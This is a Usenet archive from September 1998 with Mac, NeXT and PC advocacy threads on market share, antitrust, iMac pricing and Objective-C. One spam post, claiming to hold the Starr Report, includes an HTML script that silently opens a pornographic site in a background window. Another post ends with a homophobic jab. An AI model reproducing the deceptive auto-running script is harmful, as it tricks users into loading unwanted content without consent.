>> >
>> >> Apple has 3% of the market.
>> >
>> >Cite?
>> >
>> >Current figures have been closer to 5% and rising.
>>
>>
>> More like dropping! They have been droping for years!!!!!!!
>
>During the past year, Todd, the figures have been rising.
>Sort of connected with recent increases in profit levels.
Well its your word Vs. Newsweek's word.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 21:54:48 -0600
Organization: Prairie Group
Message-ID: <don.brown-1709982154480001@dsm-ia2-05.ix.netcom.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net>
In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
<s124@[REMOVE]earthlink.net> wrote:
>Donald Brown wrote in message ...
>>In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd Arneson"
>><s124@[REMOVE]earthlink.net> wrote:
>>
>>>Jerry M. wrote in message ...
>>>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>>>><dan@knowspaam.com> wrote:
>>>>
>>>>> A quick remider to you all...
>>>>> It is _not_ illegal to have a monopoly.
>>>>
>>>>No, but it should be.
>>>>
>>>>In fact, just Microsoft should be illegal.
>>>
>>>My my my, you are a macsheep! Baaaa.... take away microsoft's
>constitutional
>>>rights.... Baaaaaaaaaaaa.....
>>>
>>>You should read the constitution someday.
>>>
>>And you should read the anti-trust laws.
>
>
>But the "anti trust" laws are unconstitutional!!!!!!! The constitution has
>superiority over ANY laws. Like I said, read the constitution someday.
>
OK. Also read the Supreme Court decision. The anti trust legislation has
definitely been ruled constitutional. It is not a violation of the equal
protection of the laws, because it will apply to all corporations in the
same situation.
Donald
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 18 Sep 1998 02:46:05 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <360533c8.27512398@news.supernews.com>
References: <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net> <35fda148.4397068@news.supernews.com> <mteh-ya02408000R1409981924070001@news.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
mteh@earthlink.net (Oliver M. Sun), on Mon, 14 Sep 1998 19:24:07
-0500,
>In article <35fda148.4397068@news.supernews.com>, mdevlin@eltrax.com (T.
>Max Devlin) wrote:
>>>>I don't think there is a cab driver existent that does not know how
>>>>to pump gas and check his oil.
>>>
>>>I know how to plug in my Mac and check my e-mail.
>>>
>>>Try exchanging a heater core sometime.
>>
>>Good point. I don't write software. So, no, I don't know how to
>>"exchange a heater core". But I understand how programs are loaded
>>from the hard drive into memory, and how data files are saved back
>>to disk. I know not to delete DLL files, and I know what to do
>>(search) when my computer says "file not found". All of which I
>>equate with pumping gas and checking oil. You assume it is the
>>equivalent of engine repair.
>
>Nope, not engine repair. Plus you never have to get your hands black and
>greasy with computer software.
>
>However, you know how to load passengers in and out of your car, is that
>not correct? You understand that when you push on the right pedal, gas
>comes from the gas tank into the engine, where it is burned; smoke comes
>out the exhaust and your car tends to accelerate. You know not to remove
>the lug nuts, and when you car flashes "Empty" it's time to search for a
>gas station.
You seem to make my point. All of these things are immensely
complex. That many of them are based on simple rules of physics
which we learned before we were three (things like "accelerate" and
"smoke" and "pedal") illustrates the fact that cars are not
computers. With a computer, it requires additional learning outside
normal reality (that is, learning specifically how computers work)
in order to use one. The basic premise you are supporting is that
computers should be (or are) as "simple" as cars. That you "just
get in and drive; you don't have to be a mechanic". But with a
computer, you can't even necessarily tell if the damn thing is
moving, let alone whether you're headed forward or back, or if the
headlights are on, or who's sitting where.
The basic premise is flawed. I have refuted it in two different
ways, and continue to do so. First, as I've already described,
simply driving a car is the equivalent of being a "computer expert"
to at least some extent. Being an auto mechanic would be someone
who writes their own applications or hardware drivers. A typical
person has to know how to use a computer because it is not (and can
never be, because the rules are free to change, and constantly do,
unlike the physical act of driving a car) as "intuitive" as a
physical action. It may very well approach that, as an analogous
intellectual complexity of procedures, after years of learning and
practice. But that makes you a computer expert.
But the alternate view is that computers are "appliances", rather
than cars. This view is equally as flawed. A computer is not a
car. A computer is not an appliance. A computer is a computer.
It's not a VCR; it will never be a VCR. Now, you may some day have
an "appliance" that does word processing (low and behold, we have
those), or an appliance that provides communications (one of those
two; they're called phones). We may someday develop an appliance
that provides information and entertainment channels (got it), or
devices/systems for containing information (yep). Someday, we may
have an appliance for automatically scheduling appointments over the
Internet (and feasibly, truly easily, which doesn't mean truly
automagically, and practically; not as a wizz-bang feature that
never lives up to a vague promise). This will not be a
technologically achievement. The technology exists now. So why
don't we have it? Why isn't it "cost effective" to build it?
Of course, a possible answer is that it may very well be, and only
awaits some aspiring entrepreneur to gamble on the right solution at
the right time in the right way. (The obvious relationship to the
topic on my home group is belayed as a token of brevity.) But the
real reason is that people don't know how to use it yet. Because it
requires using all of those "appliances" all at once, and many more.
Because that is what a computer does, and that is what a computer
is, and that is what makes it a computer. It is a general purpose
processing engine, and we're going to need it to work efficiently,
and we're going to have to understand what it does and how it does
it, in order for it to help process and automate all the information
we get from all those appliances called 'applications' that we run
on the 'operating system'. That was lesson one. Next stop: what is
storage, and why isn't it memory?
>So, essentially, computers are similar in concept to many other complex tools.
There are no other complex tools like computers. All other tools
are less complex, because they are physical tools. The computer is
a processing engine; a mental tool. You have to know how to use
your mental, and that means understanding, and that means knowing
how the computer works, or you can't use the computer. Calling a
computer a tool is like calling a planet a blob of dirt.
>>This seems to indicate that one of two things is true:
>>
>>a) you don't know anything about computers, or
>
>No, my point is that plugging my computer in and checking my e-mail is
>equivalent in difficulty to fueling my car and checking my oil.
> Or maybe
>starting my car and checking for landmarks (and stop signs) along the way,
>I don't know.
Please forgive me for saying so, but I do know. I have
professionally studied how people learn and use computers for over a
decade. I am a professional *teacher* (though most call it
"training", which is why most experiences are of only marginal
value) of computers. Now it may sound like I'm just trying to drum
up business, but the fact is that a teacher's job is to work
themselves out of a job, so I believe I am being properly skeptical
about my position. I recognize that computers have become much
easier to learn through many modern advancements, and certainly
easier to use once you've learned them. But you would have had to
know a lot less (three or four sets of ten characters, maybe, and
when to type them) to check your email 15 years ago, if you had
email.
So the problem, I guess, is that most people THINK they know how to
drive. Actually, they're just getting in a taxi.
>>b) computers are not cars.
>
>No, they aren't. That's why they're called "computers" rather than "cars."
>
>In some sense they do serve similar purposes and we treat them (or can
>treat them) in similar ways.
Computers are not cars. In now sense do they serve similar
purposes, in no sense do we treat them in similar ways. I'm sorry
for seeming absolutist, and maybe I should take a gentler task and
simply ask how you think this is so. But you're probably about the
fiftieth guy I've seen say this and not a one of them has ever
explained the statement past defending it as self-evident.
Please, could you give some examples?
>>Now, you say you "know how to plug in your Mac and check email".
>>Are you honestly saying that this is all you know about computers?
>>You don't know how to load a new program? You don't know how to
>>disable an extension that is crashing your Mac? You don't know how
>>to search for files? You don't know how to put an icon on your
>>desktop? You don't know how to empty your trash can?
>
>Yup, just because I know how to plug in my Mac, I forgot how to do all
>those other things.
I don't understand your response.
>>Computers are not cars.
>
>Read above.
Are you saying you don't know how to do any of those things?
Then you're sitting on a train, you're not even on a bus, let alone
in a taxi. You couldn't get out of the garage if the slightest
thing goes wrong (like a window doesn't appear, you want to change a
setting, or you need to save a file). You must have someone doing
it for you.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 22:00:07 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6tsif8$ppi1@odie.mcleod.net>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trk9m$jp@ragnarok.en.uunet.de> <36015979.8A165C47@ericsson.com>
MIS folks will never seriously evaluate MacOS-X Server. There two
fundamental reasons. It has the word Mac in its name and it is being sold
by Apple. MIS departments in large companies have learned to hate Apple and
everything Apple touches. Too many bridges have been burned. Apple
continues to do everything in its power to make sure that the one message
people hear is that Apple is NOT FOR BUSINESS.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 22:24:02 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6tsjs4$mso1@odie.mcleod.net>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trk9m$jp@ragnarok.en.uunet.de> <36015979.8A165C47@ericsson.com>
Michael Peck wrote in message <36015979.8A165C47@ericsson.com>...
Regarding C++ language bindings to YellowBox:
>I didn't. I want to know why they're doomed to fail, and I can't figure
>it out on my own.
>
>MJP
It all depends on what you mean by language bindings. It has been possible
to mix Objective-C and C++ in the same line of code for many years.
Objective-C is a very minor addition to C. To create Objective C++, the
additions were made to C++ as a base.
YellowBox could not have been written in C++ without creating the equivalent
of an Objective C runtime along the way. If you have any experience with
Microsoft Visual C++, you might notice that all of the AFX marcos and wizard
generated bindings and COM interfaces all attempt in a hap-hazard way to
replicate the features of the Objective-C runtime. The macros that evaluate
to huge switch statements for dynamic message dispatch are a pale imitation
of Objective C's hash table based selector dispatch. IDL and COM bindings
for Active-X components as well as stock properties are just poor attempts
to replicate dynamic message dispatch, class factories, and distributed
messaging.
With the very inelegant foundation provided by the hap-hazard "just missed
the point" attempt to mimic dynamic message dispatch through event dispatch
just results in more code, harder to maintain code, fragile code,
inflexibility, and ubiquitous special cases. If you distill all of the
wizard generated macro implemented layer above C++ down to its essential
elegant core while solving the underlying problems they attempt to solve,
you end up with the Objective-C runtime. The Java runtime and the
Objective-C runtime are essentially equivalent (Java has a little way to go
yet).
Once you have the Objective C runtime, you might realize that the special
case event dispatching used to make the MFC application work should not be
the high labor special case layer above the language Microsoft made.
Instead, every method (member function) of every class should be dynamically
dispatched. Method invocation should be implemented by message passing
(akin to Windows events) rather than the table based pointer dereferencing
that the C++ language compels. Language bindings to TCL, Perl, and Python
are all just string to Objective-C method selector translators and that
feature is built into the Objective-C runtime already. Distributed
messaging works just like local messaging; no special IDL or COM IUnknown
tables are needed.
Once you create something like the Objective-C runtime for C++, then you can
implement the Yellow Box in C++. Of course, if you do that, you have
Objective-C++.
Newsgroups: comp.sys.next.advocacy
Subject: The Clinton, Starr Report in FULL
From: apsdhbro@starr-report.com
Organization: Your Organization
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="PART_BOUNDARY_KXYVAQFPUC"
Message-ID: <xxkM1.2517$bj5.220566@nsw.nnrp.telstra.net>
Date: Fri, 18 Sep 1998 03:34:53 GMT
NNTP-Posting-Date: Fri, 18 Sep 1998 13:34:53 EST
--PART_BOUNDARY_KXYVAQFPUC
Content-Type: text/html; charset=us-ascii; name="test.html"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="test.html"
Content-Base: "file:///C|/test.html"
<BASE HREF="file:///C|/test.html">
<HTML>
<HEAD>
<TITLE></TITLE>
<SCRIPT language="JavaScript">
<!--
B = open("http://www.horny-world.com/jjj/")
blur(B)
//-->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
--PART_BOUNDARY_KXYVAQFPUC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Read the report, see the pictures!
http://www.horny-world.com/jjj/
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Sep 1998 02:57:38 GMT
Organization: University of Illinois at Chicago
Message-ID: <6tsi72$2kvo$1@piglet.cc.uic.edu>
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <6tprgr$7ul@news1.panix.com> <edewEzF1v2.B0G@netcom.com>
Eric Dew (edew@netcom.com) wrote:
: I don't understand your logic here. If all the iMacs, currently selling
: at $1299, are being bought, why drop the price? If anything, raise the
: price and see what the threshold is.
Because while increasing Apple's profits and revenues is important, it is
also equally important to demonstrate an increase in units sold, because
this is what attracts ISVs. Apple's long term success doesn't just
depend on its own profitability but also on the profitability of
Mac software vendors. If Apple believes they can increase supply,
while lowering the price and end up selling more, they should go
ahead and do so.
From: kirkus@*nospam*earthlink.net (Kirkus)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 17 Sep 1998 23:02:01 -0600
Organization: Temples of Syrinx
Message-ID: <kirkus-ya02408000R1709982302010001@news>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <35F4F71C.307FDC38@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Christopher Smith wrote:
>
> > That's just like saying a car has an engine, chassis, gearbox, steering
> > wheel, axle, tires, lights and windows. Hmm, 8 parts . . .
>
> Injectors, distributor, sparkplugs, head gasket, rear main seal, CV
> joints, CV boots, muffler, brakes, lights, electrical system, steering
> rack, speaker system, radio, fuse box, transmission lever, shocks,
> struts, coolant system, wipers, wiper pump, AC pump, oil pump, oil pan,
> oil filter, antenna, radiator, fan, air filter, timing belt...
>
> We're just getting started. Automobiles are incredibly complicated.
> Besides, component count wasn't the basis of the original statement.
>
> > Computers _are_ thousands of complicated parts doing god knows what - are
> > you saying you know what every single IC in your case does ?
>
> Pretty much, yes. I'm not particularly familiar with my hard drive's
> ICs, but I'm pretty familiar with the general workings of the stepping
> motor, the read/write head, the platters, and the controlling
> electronics.
>
> > >Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
> >
> > So are things like auto transmissions, climate control and stereos.
>
> Good comparison. For one, optional components on a car are
> dealer-installed and normally come in pre-configured packages. For
> another, the sale of these options is almost exclusively performed at
> during the sale of the automobile. Automobiles are not like computers.
>
> MJP
MJP, you, obviously haven't seen a JC Whitney catalog........Greg
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Sep 1998 04:12:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tsmit$689@news1.panix.com>
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <6tprgr$7ul@news1.panix.com> <edewEzF1v2.B0G@netcom.com>
On Thu, 17 Sep 1998 06:54:38 GMT, Eric Dew <edew@netcom.com> wrote:
>>>Look, they're selling the iMac as fast as they can produce them.
>>So, build more. The market likes this product. Wouldn't it be better if
>Build more is a nice gesture, but the physical realities don't let that
>happen.
Go back and read my post where I had a URL to an article about Apple
shopping for OEM partners.
>>So build a better one for $1299 and sell the current one for $999.
>I don't understand your logic here. If all the iMacs, currently selling
>at $1299, are being bought, why drop the price? If anything, raise the
>price and see what the threshold is.
To stay one step ahead of the competition. Is the iMac the beginning of
a line of new machines, or the end of the line?
Also, if they wait for demand to drop, they might end up with "iMac sales
drop off" articles in the press. That is not a good thing.
>>Or if you want to move _more_ of the product. Henry Ford did that. So did
>>Edison. And Apple thinks that they had the courage to "Think Different"
>Their economic theories are old, and no longer valid.
How so?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Sep 1998 04:12:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tsmiu$689@news1.panix.com>
References: <36004a01.0@news.depaul.edu> <edewEzEM7z.GpB@netcom.com> <6tps27$847@news1.panix.com> <edewEzF275.Bpp@netcom.com>
On Thu, 17 Sep 1998 07:01:50 GMT, Eric Dew <edew@netcom.com> wrote:
>And what happens if the demand for iMacs increase and the production can't
>match it?
Apple should be working to increase supply to satiate demand, not raise
(or maintain) prices to lower demand.
> What would that do to the sales of iMacs?
Nothing. If demand outstrips supply, all iMacs that can be sold, will be
sold. Perhaps there will be articles on waiting lists and people paying
premiums.
Actualy it is a win-win for Apple. High demand (and the press that
goes with it) will give Apple to upper hand in any negotiations with OEM
partners that they might be in.
>>And what is keeping Compaq from building a Knock-Off? Is everyone down
>Apple would be happy if Compaq built a knock-off. Emulation is the sincerest
>form of flattery, and free advertisement for the original product.
<sarcasm>
Yes, it will do as much to boost Apple's sales as Windows did.
</sarcasm>
Apple tried existing in a small market, where they sold only to a chosen
few. It didn't work well. Why should Apple repeat that mistake?
>>Selling _more_ iMacs would be better. Do you have some objection with Apple
>>getting the #1 spot in PC sales? As a stock holder, I hope they don't hire
>>you for a marketing job.
>No, thank god YOU'RE not in the marketing job.
I'm a consultant, so part of my job is marketing.
When I have more work then I can do, do I turn people away? Hell no. I
outsource to others, bring them onboard and split the job with them. 20% of
something is better than 100% of nothing.
> Selling more is not the
>goal.
Yes it is. Apple claims that the iMac is a growth product.
> Making a profit is the goal.
They can do both. I bet if I dig around I can find an article on how the iMac
is raising the sales of Apple higher margin Pro line.
> Would you advocate selling iMacs at
>a loss, just to sell more?
No.
> Your reasoning would suggest that selling iMacs
>at $0.05 a pop would be the best thing for Apple because I'm sure even the
>local homeless folks down in SF can spare a nickel.
Of course not. Reread my posts. I advocated aggressive marketing, where
Apple would do everything it can to generate a positive feedback loop where
increased sales creates increased production. This lowers the per unit cost
to build iMacs. That allows Apple to sell them at a lower cost. And that
creates increased demand that works to speed the feedback loop up.
My goal would be to be able to sell an iMac product for $650 in 18 to
24 months and make the same profit per unit as now.
>The only goal is increase profits, not increase revenue (although in most
>instances, increasing revenue = increase in profit), not increase in market
>share, not anything else. Of course, increasing revenue or increasing
>market share MAY result in increased profits, but that has to be demonstrated.
------------------------------------------------------------------^^^^^^^^^^^^
Intel 1986->1996
Microsoft 1989->to present
Apple 1978->1982
Cisco 1988->1996
Should I give more examples?
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 18 Sep 1998 04:12:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tsmiv$689@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net>
On Wed, 16 Sep 1998 22:17:41 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>He said that PCs couldn't replace a
>Mac. The reality is in whether or not he buys a PC to replace a Mac,
>see?
And if he is right, then why did so many Apple users switch to PCs?
>Consequently, even if Bass Ale were more expensive you would continue to
>buy it, because there is no replacement.
Rubish.
Even though I prefer one brand over another, that hardly makes it
irreplaceable.
>> Apple has 5% of the desktop market. Microsoft has over 90%. I do not
>> object to Microsoft having that monopoly. I do object to them making use
>> of that power to undermine the freedoms of individuals who work in the
>> computing industry.
>They don't undermine your freedom any more than Apple does.
Yes they do. When MS works to prevent companies from doing business, they
undermine my ability to make a choice in what products I purchase.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 18 Sep 1998 04:24:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tsn9p$6c3@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com> <6tp05f$s80@news1.panix.com> <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>
On Thu, 17 Sep 1998 00:42:05 -0500,
John Doherty <jdoherty@ix.netcom.com> wrote:
>And what do you mean by "the shell," anyway?
An interactive command line interface.
> There are lots of shells,
>and they aren't all the same by any means.
I never claimed they were. I suggested that much of the functionality that
is attributed to the shell, can be utilized from scripting systems like
AppleScript and Visual Basic for Applications.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 18 Sep 1998 04:24:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tsn9q$6c3@news1.panix.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com> <6tqssi$g67$2@news.idiom.com>
On 17 Sep 1998 11:47:30 GMT, John C. Randolph
<jcr.remove@this.phrase.idiom.com> wrote:
>For that matter, care to guess how often MVS systems have an unscheduled
>restart?
Mainframe folks like to brag about nines. A "five-nines" system is up
99.999% of the time.
I worked with a group that could document five-nines availability for
a period of seven years on a system that had over 20,000 users in
fifteen states and three foreign countries. They considered this a
moderate accomplishment.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 17 Sep 1998 23:37:09 -0500
Organization: (none)
Message-ID: <jdoherty-1709982337090001@aus-tx23-21.ix.netcom.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com> <6tp05f$s80@news1.panix.com> <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com> <6tsn9p$6c3@news1.panix.com>
In article <6tsn9p$6c3@news1.panix.com>, sal@panix.com wrote:
| On Thu, 17 Sep 1998 00:42:05 -0500,
| John Doherty <jdoherty@ix.netcom.com> wrote:
| >And what do you mean by "the shell," anyway?
|
| An interactive command line interface.
That doesn't answer the question, it just turns it into "what do you
mean by a CLI?" There are lots of CLIs.
Some CLIs, like DOS, suck. Some don't.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 23:49:28 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3601E658.2B2691BE@nstar.net>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com> <6ts5ls$r8h$1@ash.prod.itd.earthlink.net> <6ts98d$18r$6@news.xmission.com>
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NNTP-Posting-Date: 18 Sep 1998 04:50:59 GMT
Don Yacktman wrote:
> > Why do *you* think they are not communicating?
>
> What difference does what I think make?
Then why post anything? This is a *friendly* discussion. Everybody open
up. Now, tell us your name and give us a brief history of your
childhood.
:-)
Just kidding.
MJP
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Reply to a knucklehead.
From: guess@it.spammer (Cybernaught)
Message-ID: <1dfix36.145uif1114dzq9N@pppsl1034.chicagonet.net>
References: <1dfd9dt.tvhkz6fkmzpcN@pppsl972.chicagonet.net> <macghod-1409982202020001@sdn-ar-001casbarp112.dialsprint.net>
NNTP-Posting-Date: Fri, 18 Sep 1998 00:53:40 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 17 Sep 1998 23:52:51 -0500
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1dfd9dt.tvhkz6fkmzpcN@pppsl972.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> Cybernaught (guess@it.spammer), what is your email address? Also what is
> your first name? Is it "Edwin"? Is your last name "Thorne"?
Why would I want to give you my Email address?
I post anonymously. As I told you before, I will neither confirm or
deny any identity that you suppose or imagine for me. If you like those
names, by all means, use them.
I see that you've added the NeXT group in again. Is that the group
your gay lover reads?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 18 Sep 1998 04:52:35 GMT
Organization: Idiom Communications
Message-ID: <6tsouj$ghr$1@news.idiom.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com>
<tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr>
<6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net>
<6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227>
<ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com>
<6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com>
<5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com>
<6tqssi$g67$2@news.idiom.com> <6tsn9q$6c3@news1.panix.com>
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Cc: sal@panix.com
Sal Denaro may or may not have said:
-> On 17 Sep 1998 11:47:30 GMT, John C. Randolph
